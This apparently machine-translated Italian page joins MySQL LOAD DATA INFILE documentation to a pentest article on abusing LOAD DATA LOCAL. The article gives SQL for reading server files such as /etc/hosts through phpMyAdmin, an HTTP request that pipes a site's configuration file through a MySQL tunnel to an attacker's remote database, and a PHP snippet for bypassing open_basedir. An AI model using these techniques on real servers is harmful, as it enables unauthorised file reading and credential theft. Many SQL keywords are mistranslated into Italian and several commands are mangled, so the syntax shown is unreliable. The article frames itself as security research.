LA CAMPANA

C'è chi ha letto questa notizia prima di te.
Iscriviti per ricevere gli ultimi articoli.
E-mail
Nome
Cognome
Come vorresti leggere La campana
Niente spam
LOAD DATA INFILE "file_name.txt" NELLA TABELLA tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

Il comando LOAD DATA INFILE legge le righe da un file di testo e le inserisce in una tabella ad altissima velocità. Se viene specificata la parola chiave LOCAL, il file viene letto dall'host client. Se LOCAL non è specificato, il file deve trovarsi sul server. (L'opzione LOCAL è disponibile in MySQL versione 3.22.6 e successive.)

Se i file di testo da leggere si trovano sul server, per motivi di sicurezza questi file devono trovarsi nella directory del database o essere leggibili da tutti gli utenti. Inoltre, per utilizzare il comando LOAD DATA INFILE sui file del server, è necessario disporre dei privilegi FILE sull'host del server. Vedere la sezione 4.2.7 Privilegi concessi da MySQL.

In MySQL 3.23.49 e MySQL 4.0.2, il comando LOCAL non funzionerà se il daemon mysqld viene avviato con --local-infile=0 o se il client non ha il supporto LOCAL abilitato. Vedere la sezione 4.2.4 Considerazioni sulla sicurezza relative al comando LOAD DATA LOCAL.

Se viene specificata la parola chiave LOW_PRIORITY, l'esecuzione di questo comando LOAD DATA verrà ritardata fino a quando gli altri client non avranno terminato la lettura di questa tabella.

Se viene specificata la parola chiave CONCURRENT quando si lavora con le tabelle MyISAM, altri thread possono recuperare i dati dalla tabella durante l'esecuzione del comando LOAD DATA. L'uso di questa funzione avrà ovviamente un leggero impatto sulle prestazioni su LOAD DATA , anche se nessun altro thread è in uso questo tavolo allo stesso tempo.

Quando si utilizza l'opzione LOCALE, l'esecuzione potrebbe essere leggermente più lenta rispetto a consentire al server di accedere direttamente ai file, poiché il contenuto del file deve essere spostato dall'host client al server. D'altra parte, in questo caso non sono necessari i privilegi FILE per caricare i file locali.

Se si utilizzano versioni di MySQL precedenti alla 3.23.24, non è possibile leggere da un FIFO utilizzando il comando LOAD DATA INFILE. Se è necessario leggere da una FIFO (ad esempio, lo standard output di gunzip), è necessario utilizzare LOAD DATA LOCAL INFILE.

Puoi anche caricare file di dati usando l'utilità mysqlimport. Questa utilità esegue il caricamento dei file inviando i comandi LOAD DATA INFILE al server. L'opzione --local fa sì che mysqlimport legga i file di dati dall'host client. È possibile specificare l'opzione --compress per ottenere prestazioni migliori su reti lente se sia il client che il server supportano il protocollo di compressione dei dati.

Nei casi in cui i file si trovano sul server, quest'ultimo agisce secondo le seguenti regole:

  • Se viene fornito un percorso assoluto (completo) a un file, il server utilizza questo percorso senza modifiche.
  • Se viene specificato un percorso relativo al file, specificando una o più home directory, la ricerca del file sarà relativa alle directory specificate nella directory dei dati del server (datadir).
  • Se viene fornito un percorso a un file senza specificare le directory home, il server cerca il file nella directory del database in uso.

Ne consegue che il file specificato come `./myfile.txt" viene letto dalla directory dei dati del server, mentre il file specificato come `myfile.txt" viene letto dalla directory del database in uso. Ad esempio, il seguente comando LOAD DATA legge il file data.txt nella directory del database per db1 perché db1 è il database corrente, anche se il comando indica esplicitamente di caricare il file nella tabella del database db2:

MySQL> USA db1; mysql> CARICA FILE DATI "data.txt" NELLA TABELLA db2.my_table;

Le parole chiave REPLACE e IGNORE controllano l'elaborazione dei record di input che duplicano i record esistenti con gli stessi valori di chiave univoci. Se viene specificato REPLACE, le nuove righe sostituiranno le righe esistenti con la stessa chiave univoca. Se specifichi IGNORE , le righe di input che hanno la stessa chiave univoca di quelle esistenti verranno ignorate. Se non viene specificato nessuno dei parametri, si verifica un errore quando viene trovato un valore di chiave duplicato e il resto del file di testo viene ignorato.

Se i dati vengono caricati da un file locale utilizzando la parola chiave LOCAL, il server non sarà in grado di interrompere il trasferimento dei dati nel mezzo di questa operazione, quindi il comportamento predefinito del comando è lo stesso di quando viene specificato IGNORE.

Quando si utilizza LOAD DATA INFILE su tabelle MyISAM vuote, tutti gli indici non univoci vengono creati in pacchetto separato(come in RIPARAZIONE). Questo di solito accelera notevolmente l'operazione LOAD DATA INFILE nel caso di un numero elevato di indici.

Il comando LOAD DATA INFILE è complementare a SELECT...INTO OUTFILE. Vedere la sezione 6.4.1 Sintassi dell'istruzione SELECT. Per scrivere i dati dal database in un file, utilizzare SELECT ... INTO OUTFILE . Per rileggere i dati nel database, viene utilizzato LOAD DATA INFILE. La sintassi per FIELDS e LINES è la stessa in entrambi i comandi. Entrambe le parti sono facoltative, ma se vengono specificate entrambe, FIELDS deve precedere LINES .

Se viene specificato FIELDS, anche ciascuna delle sue sottoespressioni (TERMINATED BY , ENCLOSED BY e ESCAPED BY ) è facoltativa, ma almeno una di esse deve essere specificata.

Se l'asserzione FIELDS non è definita, per impostazione predefinita i suoi parametri assumeranno i seguenti valori:

CAMPI TERMINATI DA "\t" RACCHIUSI DA "" ESCAPED DA "\\"

Se la clausola LINES non è definita, per impostazione predefinita ha la seguente struttura:

LINEE TERMINATE DA "\n"

In altre parole, con le impostazioni di default, il comando LOAD DATA INFILE, durante la lettura dei dati di input, funzionerà come segue:

  • Cerca le terminazioni di riga come caratteri `\n'
  • Dividi le righe in campi per caratteri di tabulazione.
  • Non aspettarti che i campi siano racchiusi tra virgolette.
  • Interpretare i caratteri di tabulazione che si verificano, nuova linea o `\" preceduto da `\" come valori letterali che fanno parte del valore del campo.

Al contrario, se le impostazioni predefinite per la scrittura dell'output sono attive, il comando SELECT ... INTO OUTFILE funzionerà come segue:

  • Inserisci caratteri di tabulazione tra i campi.
  • Non racchiudere i campi tra virgolette. Usa i caratteri `\" per sfuggire alle istanze di tabulazione, newline o `\" che appaiono tra i valori dei campi.
  • Inserisci i caratteri di nuova riga alla fine di ogni voce.

Si noti che la voce FIELDS ESCAPED BY `\" richiede due barre rovesciate per leggere un valore come una singola barra rovesciata.

L'opzione IGNORA numero RIGHE può essere utilizzata per ignorare l'intestazione dei nomi di colonna all'inizio di un file:

Mysql> LOAD DATA INFILE "/tmp/file_name" IN TABELLA test IGNORA 1 RIGHE;

Quando si utilizza SELECT ... INTO OUTFILE con LOAD DATA INFILE per leggere i dati dal database in un file e quindi tornare dal file al database, le opzioni di elaborazione del campo e della riga per entrambi i comandi devono corrispondere. In caso contrario, LOAD DATA INFILE non sarà in grado di interpretare correttamente il contenuto di questo file. Supponiamo che il comando SELECT ... INTO OUTFILE venga utilizzato per scrivere in un file con campi separati da virgole:

Mysql> SELEZIONA * IN OUTFILE "data.txt" CAMPI TERMINATI DA "," DA ...;

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA table2 CAMPI TERMINATI DA ",";

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA table2 CAMPI TERMINATI DA "\t";

Un risultato simile si otterrebbe se ogni riga di input fosse interpretata come un campo separato.

Il comando LOAD DATA INFILE può essere utilizzato anche per leggere file da fonti esterne. Ad esempio, i campi in un file in formato database dBASE saranno separati da virgole e racchiusi tra virgolette. Se le righe dentro dato file end with newlines, puoi usare il comando seguente per scrivere il file, che illustra le opzioni di impostazione che gestiscono campi e righe:

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA tbl_name CAMPI TERMINATI DA "," INCLUSI DA """ RIGHE TERMINATE DA "\n";

Qualsiasi opzione che gestisce campi e righe può essere una stringa vuota (""). Se la stringa non è vuota, i valori delle opzioni FIELDS ENCLOSED BY e FIELDS ESCAPED BY devono contenere un carattere. I valori dell'opzione CAMPI TERMINATI DA e LINEE TERMINATI DA possono contenere più di un carattere. Ad esempio, per scrivere righe che terminano con coppie ``ritorno a capo - avanzamento riga'' (come in file di testo MS DOS o Windows), è necessario specificare la seguente espressione: LINES TERMINATED BY "\r\n" .

CREATE TABLE barzellette (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" NELLA TABELLA jokes CAMPI TERMINATI DA ""; LINEE TERMINATE DA "\n%%\n" (scherzo);

L'opzione FIELDS ENCLOSED BY controlla i campi racchiusi tra determinati caratteri. Se il parametro OPTIONALLY viene omesso, nell'output (SELECT ... INTO OUTFILE) tutti i campi saranno racchiusi nei caratteri specificati in ENCLOSED BY . Di seguito viene mostrato un esempio di tale output (che utilizza una virgola come separatore di campo):

"1","una stringa","100.20" "2","una stringa contenente una , virgola","102.20" "3","una stringa contenente una \" virgoletta","102.20" "4"," una stringa contenente un \", virgolette e virgola","102.20"

Se viene specificato il parametro OPTIONALLY, vengono selezionati solo i campi dei tipi CHAR e VARCHAR con il carattere specificato in ENCLOSED BY:

1,"una stringa",100.20 2,"una stringa contenente un , virgola",102.20 3,"una stringa contenente una \" virgoletta",102.20 4,"una stringa contenente un \", virgolette e virgola",102.20

Si noti che l'aspetto dei caratteri ENCLOSED BY all'interno del valore del campo viene evitato applicando un prefisso da ESCAPED BY prima di essi. Si noti inoltre che se ESCAPED BY è null, è possibile generare un output che l'istruzione LOAD DATA INFILE non può leggere correttamente. Ad esempio, se il carattere di escape è una stringa vuota, l'output sopra sarà come mostrato di seguito. Si noti che il secondo campo della quarta riga contiene una virgola seguita da virgolette, che (erroneamente) sembra delimitare il campo indicato:

1,"una stringa",100.20 2,"una stringa contenente una ", virgola",102.20 3,"una stringa contenente una " virgoletta",102.20 4,"una stringa contenente una ", virgoletta e virgola",102.20

Per l'input, il carattere ENCLOSED BY, se presente, viene rimosso da entrambe le estremità dei valori del campo. (Questo è vero indipendentemente dal fatto che il parametro OPTIONALLY sia specificato o meno: il parametro OPTIONALLY viene ignorato quando si lavora con l'input.) Se viene rilevato un carattere ENCLOSED BY preceduto da un carattere ESCAPED BY, viene interpretato come parte del campo corrente valore. Inoltre, i doppi caratteri ENCLOSED BY che si trovano all'interno di un campo vengono interpretati come singoli caratteri ENCLOSED BY se il campo stesso inizia con quel carattere. Ad esempio, se viene specificato ENCLOSED BY """, le virgolette vengono gestite come segue:

"Il "GRANDE" boss" -> Il "GRANDE" boss Il "GRANDE" boss -> Il "GRANDE" boss Il ""GRANDE"" boss -> Il ""GRANDE" boss

L'opzione FIELDS ESCAPED BY controlla la scrittura o la lettura di caratteri speciali. Se il carattere FIELDS ESCAPED BY non è vuoto, viene utilizzato come prefisso per i seguenti caratteri nell'output:

  • CAMPI ESCAPE DA simbolo
  • CAMPI RACCHIUSI DA simbolo
  • Primo carattere di CAMPI TERMINATI DA e LINEE TERMINATI DA
  • Carattere ASCII 0 (in realtà, ASCII `0" viene scritto dopo il carattere di escape, non un byte con valore zero)

Se il carattere FIELDS ESCAPED BY è vuoto, non viene eseguito l'escape di nessun carattere. In effetti, non ha senso specificare un carattere di escape vuoto, soprattutto se i valori dei campi nei dati in elaborazione contengono uno qualsiasi dei caratteri nell'elenco sopra.

Se il carattere FIELDS ESCAPED BY non è vuoto, nel caso di input, le occorrenze di tale carattere vengono rimosse e il carattere che segue tale occorrenza viene considerato letteralmente come parte del valore del campo. Le eccezioni sono contrassegnate da "0" o "N" (ad es. \0 o \N se il carattere di escape è "\"). Queste sequenze vengono interpretate come ASCII 0 (un byte con valore zero) e NULL . Vedere le regole per gestione di un valore nullo sotto.

Vedere la sezione 6.1.1 Letterali: Rappresentazione di stringhe e numeri per ulteriori informazioni sulla sintassi del carattere di escape `\".

In alcuni casi, le opzioni di elaborazione dei campi e delle righe interagiscono:

  • Se LINES TERMINATED BY è una stringa vuota e FIELDS TERMINATED BY è una stringa non vuota, anche le righe terminano con FIELDS TERMINATED BY .
  • Se entrambi FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono vuoti (""), viene utilizzato il formato stringa fisso (senza delimitatori). Il formato stringa fisso non fornisce alcun separatore tra i campi. Invece, durante la lettura e la scrittura dei valori delle colonne, viene utilizzata la larghezza "output"" delle colonne. Ad esempio, se una colonna è dichiarata come INT(7) , i valori per quella colonna vengono scritti utilizzando campi larghi 7 caratteri. I valori di input per questa colonna si ottengono leggendo 7 caratteri. Il formato stringa fisso influisce anche sulla gestione dei valori NULL (vedi sotto). Si noti che il formato a dimensione fissa non funzionerà quando si utilizza un set di caratteri multibyte.

I valori NULL verranno gestiti in modo diverso a seconda delle opzioni FIELDS e LINES utilizzate:

  • Per i valori predefiniti FIELDS e LINES, NULL viene scritto come \N sull'output e \N viene letto come NULL sull'input (supponendo che il carattere ESCAPED BY sia `\").
  • Se FIELDS ENCLOSED BY non è vuoto, un campo il cui valore è una parola di lettere NULL viene letto come un valore NULL (al contrario di una parola NULL tra i caratteri FIELDS ENCLOSED BY, che viene letta come stringa " NULL ").
  • Se FIELDS ESCAPED BY è vuoto, NULL viene scritto come parola NULL.
  • Nel formato stringa fisso (che si verifica se entrambi gli specificatori FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono vuoti), NULL viene scritto come stringa vuota. Si noti che, di conseguenza, il valore NULL e la stringa vuota in questa tabella non saranno distinguibili quando scritti nel file, poiché entrambi sono scritti come stringhe vuote. Se vuoi che questi valori siano diversi quando il file viene riletto, non dovresti usare il formato stringa fisso.

Alcuni casi non supportati dall'istruzione LOAD DATA INFILE:

  • Righe di dimensioni fisse (FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono entrambi vuoti) e colonne BLOB o TEXT.
  • Se viene specificato un delimitatore che corrisponde o è un prefisso di un altro, LOAD DATA INFILE non sarà in grado di interpretare correttamente l'input. Ad esempio, la seguente istruzione FIELDS causerà problemi: FIELDS TERMINATED BY """ ENCLOSED BY """
  • Se l'opzione FIELDS ESCAPED BY è vuota, l'occorrenza di un carattere FIELDS ENCLOSED BY o LINES TERMINATED BY in un valore di campo seguito da un carattere FIELDS TERMINATED BY farà sì che il comando LOAD DATA INFILE termini prematuramente la lettura del campo o della riga. Questo perché LOAD DATA INFILE non può determinare correttamente dove finisce un campo o una riga.

L'esempio seguente carica tutte le colonne della tabella dei dati personali:

Mysql> CARICA FILE DATI "persondata.txt" NELLA TABELLA persondata;

L'elenco dei campi non è specificato, quindi il comando LOAD DATA INFILE prevede che le righe di input riempiano ogni colonna della tabella. Questo utilizza i valori predefiniti FIELDS e LINES.

Se vuoi caricare solo alcune delle colonne della tabella, devi specificare un elenco di colonne:

Mysql> CARICA FILE DATI "persondata.txt" NELLA TABELLA persondata (col1, col2,...);

L'elenco dei campi deve essere specificato anche nei casi in cui l'ordine dei campi nel file di input differisce dall'ordine delle colonne nella tabella data. In caso contrario, MySQL non sarà in grado di mappare i campi di input alle colonne della tabella.

Se una riga ha troppo pochi campi, le colonne per le quali non sono presenti campi nel file di input vengono impostate sui valori predefiniti. L'assegnazione dei valori di default è descritta nella sezione 6.5.3 Sintassi dell'istruzione CREATE TABLE.

Il valore di un campo vuoto viene interpretato in modo diverso rispetto all'assenza di un valore:

  • Per i tipi di stringa, la colonna è impostata sulla stringa vuota.
  • Per i tipi numerici, la colonna è impostata su 0 .
  • Per i tipi di data e ora, la colonna è impostata sul valore appropriato ``zero"' per quel tipo. Vedere la sezione 6.2.2 Tipi di dati di data e ora.

Si noti che questi sono gli stessi valori che finirebbero in una colonna assegnando esplicitamente una stringa vuota a colonne di tipo stringa, numerica o data o ora in un'istruzione INSERT o UPDATE.

Le colonne di tipo TIMESTAMP sono impostate solo in data odierna o tempo nei casi in cui la colonna è assegnata valore nullo oppure (solo per la prima colonna TIMESTAMP) se la colonna TIMESTAMP è al di fuori dell'elenco dei campi, se tale elenco è specificato.

Se la stringa di input ha troppi campi, i campi aggiuntivi vengono ignorati e il numero di avvisi aumenterà.

Il comando LOAD DATA INFILE interpreta tutti i dati di input come stringhe, quindi non è possibile specificare valori numerici per le colonne ENUM o SET allo stesso modo dei comandi INSERT. Tutti i valori ENUM e SET devono essere specificati come stringhe!

Quando si utilizza l'API C, è possibile ottenere informazioni su una query chiamando la funzione API mysql_info() alla fine di una query LOAD DATA INFILE. Di seguito viene mostrato il formato della riga delle informazioni per questo caso:

Record: 1 Eliminati: 0 Ignorati: 0 Avvisi: 0

Gli avvisi vengono emessi nelle stesse circostanze di quando si scrivono valori con un comando INSERT (vedere la sezione 6.4.3 Sintassi dell'istruzione INSERT), tranne per il fatto che il comando LOAD DATA INFILE genera inoltre avvisi quando ci sono troppi pochi o troppi campi nell'input corda. Gli avvisi non vengono memorizzati da nessuna parte; il numero di avvisi può essere utilizzato solo per verificare se le azioni specificate sono state completate normalmente. Se vuoi sapere esattamente cosa causa gli avvisi, dovresti SELECT ... INTO OUTFILE su un altro file e confrontare il risultato con il file di input originale: questo è l'unico modo per ottenere queste informazioni.

Se hai bisogno di CARICARE I DATI per leggere da una pipe, puoi usare il seguente trucco:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

Quando si utilizza una versione di MySQL precedente alla 3.23.25, quanto sopra può essere eseguito solo con LOAD DATA LOCAL INFILE .

Per ottenere di più informazioni dettagliate sull'efficienza di INSERT rispetto a LOAD DATA INFILE e sull'aumento di velocità di LOAD DATA INFILE, vedere la sezione

Descrivo una situazione abbastanza comune. Durante il pentest, è stato ottenuto l'accesso a phpMyAdmin su un host remoto, ma non è stato possibile accedere ai file tramite esso. Il famigerato flag FILE_PRIV=no nelle impostazioni del demone MySQL è responsabile di tutto. Molti in questa situazione si arrendono e credono che i file sull'host non possano più essere letti in questo modo. Ma non è sempre così.

AVVERTIMENTO

Tutte le informazioni sono fornite solo a scopo informativo. Né gli editori né l'autore sono responsabili per eventuali danni causati dai materiali di questo articolo.

Preludio

quando noi stiamo parlando sull'interazione del DBMS MySQL con il file system, di solito ricordano:

  • la funzione LOAD_FILE, che permette di leggere i file sul server;
  • il costrutto SELECT ... INTO OUTFILE, che può essere utilizzato per creare nuovi file.

Di conseguenza, se accedi a phpMyAdmin o a qualsiasi altro client su una macchina remota, con un'alta probabilità puoi accedere a MySQL tramite MySQL. file system. Ma solo se il flag FILE_PRIV=yes è impostato nelle impostazioni del demone, cosa che non è sempre così. In questo caso, dobbiamo ricordare un altro operatore, molto meno noto, ma allo stesso tempo dotato di funzionalità piuttosto potenti. Sto parlando dell'istruzione LOAD DATA INFILE, le cui caratteristiche saranno discusse in questo articolo.

Interazione tra PHP e MySQL

PHP è il linguaggio più utilizzato per la creazione di applicazioni web, quindi vale la pena dare un'occhiata più da vicino a come interagisce con un database.

In PHP4, le librerie client MySQL erano incluse per impostazione predefinita e incluse nella distribuzione PHP, quindi durante l'installazione è possibile annullare l'utilizzo di MySQL solo specificando l'opzione

senza MySQL

PHP5 viene fornito senza una libreria client. Sui sistemi *nix, PHP5 è solitamente compilato con la libreria libmysqlclient già installata sul server, semplicemente impostando l'opzione

Con-mysql=/usr

durante il montaggio. Allo stesso tempo, prima della versione 5.3, una libreria client MySQL di basso livello (libmysql) veniva utilizzata per interagire con il server MySQL, un'interfaccia che non è ottimizzata per la comunicazione con le applicazioni PHP.

Per Versioni PHP MySQL Native Driver (mysqlnd) è stato sviluppato per 5.3 e versioni successive e la versione recentemente rilasciata di PHP 5.4 utilizza questo driver per impostazione predefinita. Sebbene il driver MySQL integrato sia scritto come un'estensione PHP, è importante capire che non fornisce una nuova API al programmatore PHP. API alla base Dati MySQL per il programmatore vengono fornite le estensioni MySQL, mysqli e PDO_MYSQL. Queste estensioni possono utilizzare il driver MySQL integrato per comunicare con il demone MySQL.

L'utilizzo del driver MySQL integrato presenta alcuni vantaggi rispetto alla libreria client MySQL: ad esempio, non è necessario installare MySQL per creare PHP o utilizzare script che funzionano con il database. Maggiori informazioni su MySQL Native Driver e le sue differenze da libmysql possono essere trovate nella documentazione.

Le estensioni MySQL, mysqli e PDO_MYSQL possono essere configurate individualmente per utilizzare libmysql o mysqlnd. Ad esempio, per configurare l'estensione MySQL in modo che utilizzi la libreria client MySQL e l'estensione mysqli per funzionare con MySQL Native Driver, devi specificare le seguenti opzioni:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Sintassi CARICA DATI

L'istruzione LOAD DATA, come dice la documentazione, legge le righe da un file e le carica in una tabella a velocità molto elevata. Può essere utilizzato con parola chiave LOCAL (disponibile in MySQL 3.22.6 e versioni successive) che specifica da dove verranno caricati i dati. Se la parola LOCAL è assente, il server viene caricato nella tabella file specificato dal tuo computer locale, non dal computer del client. Cioè, il file non verrà letto dal client MySQL, ma dal server MySQL. Ma questa operazione richiede ancora una volta il privilegio FILE (il flag FILE_PRIV=yes). L'esecuzione dell'istruzione in questo caso può essere paragonata all'utilizzo della funzione LOAD_FILE, con l'unica differenza che i dati vengono caricati nella tabella e non visualizzati. Pertanto, l'uso di LOAD DATA INFILE per leggere i file ha senso solo quando la funzione LOAD_FILE non è disponibile, cioè su versioni molto vecchie del server MySQL.

Ma se l'istruzione viene utilizzata in questa forma: LOAD DATA LOCAL INFILE , ovvero utilizzando la parola LOCAL, il file è già letto dal programma client (sulla macchina del client) e inviato al server in cui si trova il database. Allo stesso tempo, il privilegio FILE, ovviamente, non è necessario per accedere ai file (poiché tutto avviene sulla macchina del client).

Estensioni MySQL/mysqli/PDO_MySQL e istruzione LOAD DATA LOCAL

Nell'estensione MySQL, la capacità di utilizzare LOCAL è controllata dalla direttiva PHP_INI_SYSTEM mysql.allow_local_infile. Per impostazione predefinita, questa direttiva ha un valore di 1 e quindi l'operatore di cui abbiamo bisogno è solitamente disponibile. Inoltre, la funzione mysql_connect consente di abilitare l'utilizzo di LOAD DATA LOCAL se il quinto argomento è la costante 128.

Quando viene utilizzata l'estensione PDO_MySQL per la connessione al database, possiamo anche abilitare il supporto LOCAL utilizzando la costante PDO::MYSQL_ATTR_LOCAL_INFILE (intero)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Ma le maggiori possibilità per lavorare con l'istruzione LOAD DATA sono fornite dall'estensione mysqli. Questa estensione fornisce anche la direttiva PHP_INI_SYSTEM mysqli.allow_local_infile, che regola l'uso di LOCAL.

Se la connessione viene effettuata tramite mysqli_real_connect, con l'aiuto di mysqli_options possiamo abilitare e disabilitare il supporto LOCALE. Inoltre, in questa estensione è disponibile la funzione mysqli_set_local_infile_handler, che consente di registrare una funzione di callback per gestire il contenuto dei file letti dall'istruzione LOAD DATA LOCAL INFILE.

Lettura di file

Il lettore attento ha probabilmente già intuito che se abbiamo un account in phpMyAdmin, allora saremo in grado di leggere file arbitrari senza avere il privilegio FILE e persino bypassare le restrizioni open_basedir. Dopotutto, molto spesso sia il client (in questo caso, phpMyAdmin) che il demone MySQL si trovano sulla stessa macchina. Nonostante i limiti della politica di sicurezza del server MySQL, possiamo trarre vantaggio dal fatto che questa politica non si applica al client e continuare a leggere i file dal sistema, spingendoli nel database.

L'algoritmo è semplice. È sufficiente eseguire le seguenti query SQL:

  1. Creiamo una tabella in cui scriveremo il contenuto dei file: CREATE TABLE temp(content text);
  2. Inviare il contenuto del file alla tabella creata: LOAD DATA LOCAL INFILE "/etc/hosts" IN TABLE temp CAMPI TERMINATI DA "eof" ESCAPE DA "" RIGHE TERMINATE DA "eof";

Ecco. Il contenuto del file /etc/hosts è ora nella tabella temporanea. Hai bisogno di leggere i binari? Nessun problema. Se nel primo passaggio creiamo una tabella come questa:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

quindi sarà possibile caricare file binari al suo interno. Vero, verranno aggiunti bit extra alla fine dei file, ma possono essere rimossi in qualsiasi editor esadecimale. Pertanto, puoi scaricare script protetti da IonCube/Zend/TrueCrypt/NuSphere dal server e decodificarli.

Un altro esempio di come utilizzare LOAD DATA LOCAL INFILE è scoprire il percorso della configurazione di Apache. Questo viene fatto come segue:

  1. Per prima cosa, scopriamo il percorso del binario, per questo leggiamo /proc/self/cmdline come descritto sopra.
  2. E poi leggiamo direttamente il binario, dove stiamo cercando HTTPD_ROOT/SERVER_CONFIG_FILE.


È chiaro che in questa situazione gli script phpMyAdmin svolgono il ruolo di client per la connessione al database. E invece di phpMyAdmin, puoi usare qualsiasi altra interfaccia web per lavorare con MySQL.

Ad esempio, è possibile utilizzare gli script per eseguire il backup e il ripristino del database. Nel 2007, un hacker francese di nome acidroot ha pubblicato un exploit basato su questa osservazione e che consente di leggere i file dal pannello di amministrazione di phpBB.<= 2.0.22.

Il tunnel è comodo. Tunnel non sicuro

Quando si installano applicazioni Web complesse, è spesso necessario l'accesso diretto al database, ad esempio per la configurazione iniziale e la regolazione degli script. Pertanto, in alcuni casi è consigliabile installare un semplice script sul server, il cosiddetto MySQL Tunnel, che consente di interrogare il database utilizzando un comodo client invece del pesante phpMyAdmin.

Ci sono parecchi tunnel per lavorare con il database, ma non tutti sono molto comuni. Forse uno dei più famosi è Macromedia Dream Weaver Server Scripts. Puoi vedere il codice sorgente di questo script.

La principale differenza tra MySQL Tunnel e phpMyAdmin è la necessità di inserire non solo il login e la password dal database, ma anche l'host a cui ci si vuole connettere. Allo stesso tempo, i tunnel vengono spesso lasciati attivi, beh, per ogni evenienza, non si sa mai cos'altro deve essere regolato. Sembra che tu possa usarli solo se hai un account nel database - allora perché aver paura? In breve, sembra che il tunnel non rappresenti una particolare minaccia alla sicurezza del server web. Ma in realtà, non tutto è buono come sembra a prima vista.

Considera la seguente situazione. Consenti al server A di avere un sito site.com con un tunnel stabilito http://site.com/_mmServerScripts/MMHTTPDB.php. Supponiamo che sul server A sia possibile utilizzare LOAD DATA LOCAL (come discusso in precedenza, questo, ad esempio, è possibile con le impostazioni di default). In questo caso, possiamo prendere un server MySQL remoto, i cui database sono consentiti da qualsiasi luogo e che consente anche di utilizzare LOCAL, e collegarci a questo server tramite un tunnel. Dati per la connessione a un server MySQL remoto:

Host DB: xx.xx.xx.xxx Nome DB: name_remote_db Utente DB: our_user Pass DB: our_pass

In questa situazione, il server A svolgerà il ruolo di client, e quindi possiamo inviare file dal suo host a un database remoto, o, in altre parole, leggere file. Con la seguente semplice richiesta:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl CAMPI TERMINATI DA "__eof__" ESCAPED BY "" LINEE TERMINATE DA "__eof__"

Questa vulnerabilità, infatti, è più pericolosa della normale lettura di file: permette di leggere i file di configurazione degli script installati sul server A. Attraverso lo stesso tunnel è possibile accedere direttamente al database che gestisce questi script. La tecnica sopra descritta per l'utilizzo dei tunnel muscolari può essere leggermente generalizzata e applicata quando si sfruttano le vulnerabilità non serializzate.


client-server

Per comprendere meglio le possibilità di LOAD DATA, è necessario ricordare che il DBMS MySQL utilizza una tradizionale architettura client-server. Lavorando con MySQL, in realtà lavoriamo con due programmi:

  • un programma server di database situato sul computer in cui è archiviato il database. Il demone mysqld ascolta le richieste dei client sulla rete e accede ai contenuti del database, fornendo le informazioni richieste dai client. Se mysqld viene avviato con --local-infile=0, LOCAL non funzionerà;
  • il programma client si connette al server e invia le richieste al server. La distribuzione MySQL DBMS include diversi programmi client: il client della console MySQL (il più comunemente usato), nonché mysqldump, mysqladmin, mysqlshow, mysqlimport e così via. E se necessario, puoi persino creare il tuo programma client basato sulla libreria client standard libmysql, fornita con il DBMS MySQL.

Se l'utilizzo del client MySQL standard non riesce a utilizzare l'istruzione LOAD DATA LOCAL, è necessario utilizzare l'opzione --local-infile:

Mysql --local-infile sampdb mysql> CARICA FILE LOCALE DATI "member.txt" IN TABELLA membro;

Oppure specifica un'opzione per il client nel file /my.cnf:

file-in-locale=1

È importante notare che per impostazione predefinita tutti i client e le librerie MySQL sono compilati con l'opzione --enable-local-infile per garantire la compatibilità con MySQL 3.23.48 e precedenti, quindi LOAD DATA LOCAL è solitamente disponibile per i client standard. Tuttavia, i comandi al server MySQL vengono inviati principalmente non dalla console, ma dagli script, quindi anche i linguaggi di sviluppo web hanno client per lavorare con il database, che possono differire per funzionalità dal client MySQL standard.

Naturalmente, questa caratteristica dell'istruzione LOAD DATA può rappresentare un rischio per la sicurezza del sistema, quindi a partire da MySQL 3.23.49 e MySQL 4.0.2 (4.0.13 su Win) l'opzione LOCAL funzionerà solo se sia client che server Permettilo.

Ignora le restrizioni open_basedir

L'uso di LOAD DATA abbastanza spesso consente di aggirare le limitazioni di open_basedir. Questo può essere utile se, ad esempio, abbiamo accesso alla directory di hosting condivisa di un utente, ma desideriamo leggere gli script dalla directory home di un altro utente. Quindi installando questo script

uno)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./percorso/del/file" IN TABLE test CAMPI TERMINATI DA "__eof__" ESCAPED DA "" LINEE TERMINATE DA "__eof__""); $pdo = nullo; ?>

Conclusione

È curioso che la possibilità descritta dell'operatore LOAD DATA sia nota da almeno dieci anni. La menzione può essere trovata, ad esempio, nel ticket [#15408] (Modalità provvisoria / MySQL Vuln 2002-02-06), e poi domande simili sono emerse ripetutamente su bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. A cui gli sviluppatori hanno risposto testualmente come segue:

[email protetta] Non è un bug, è una caratteristica :)

O assegnato un ticket "Stato: non risolto". Oppure si limitavano a patch che non risolvevano quasi nulla. I biglietti su questo argomento sono sorti di nuovo. Pertanto, il metodo specificato per bypassare open_basedir funziona ancora su un numero abbastanza elevato di server. Tuttavia, con l'avvento del nuovo driver mysqlnd, sembra che sia stata presa la decisione di apportare modifiche sostanziali: con le impostazioni di default, questa istruzione non verrà più eseguita affatto [#54158] [#55737]. Speriamo che nel prossimo futuro gli sviluppatori mettano le cose in ordine in questa materia.

LOAD DATA INFILE "file_name.txt" NELLA TABELLA tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

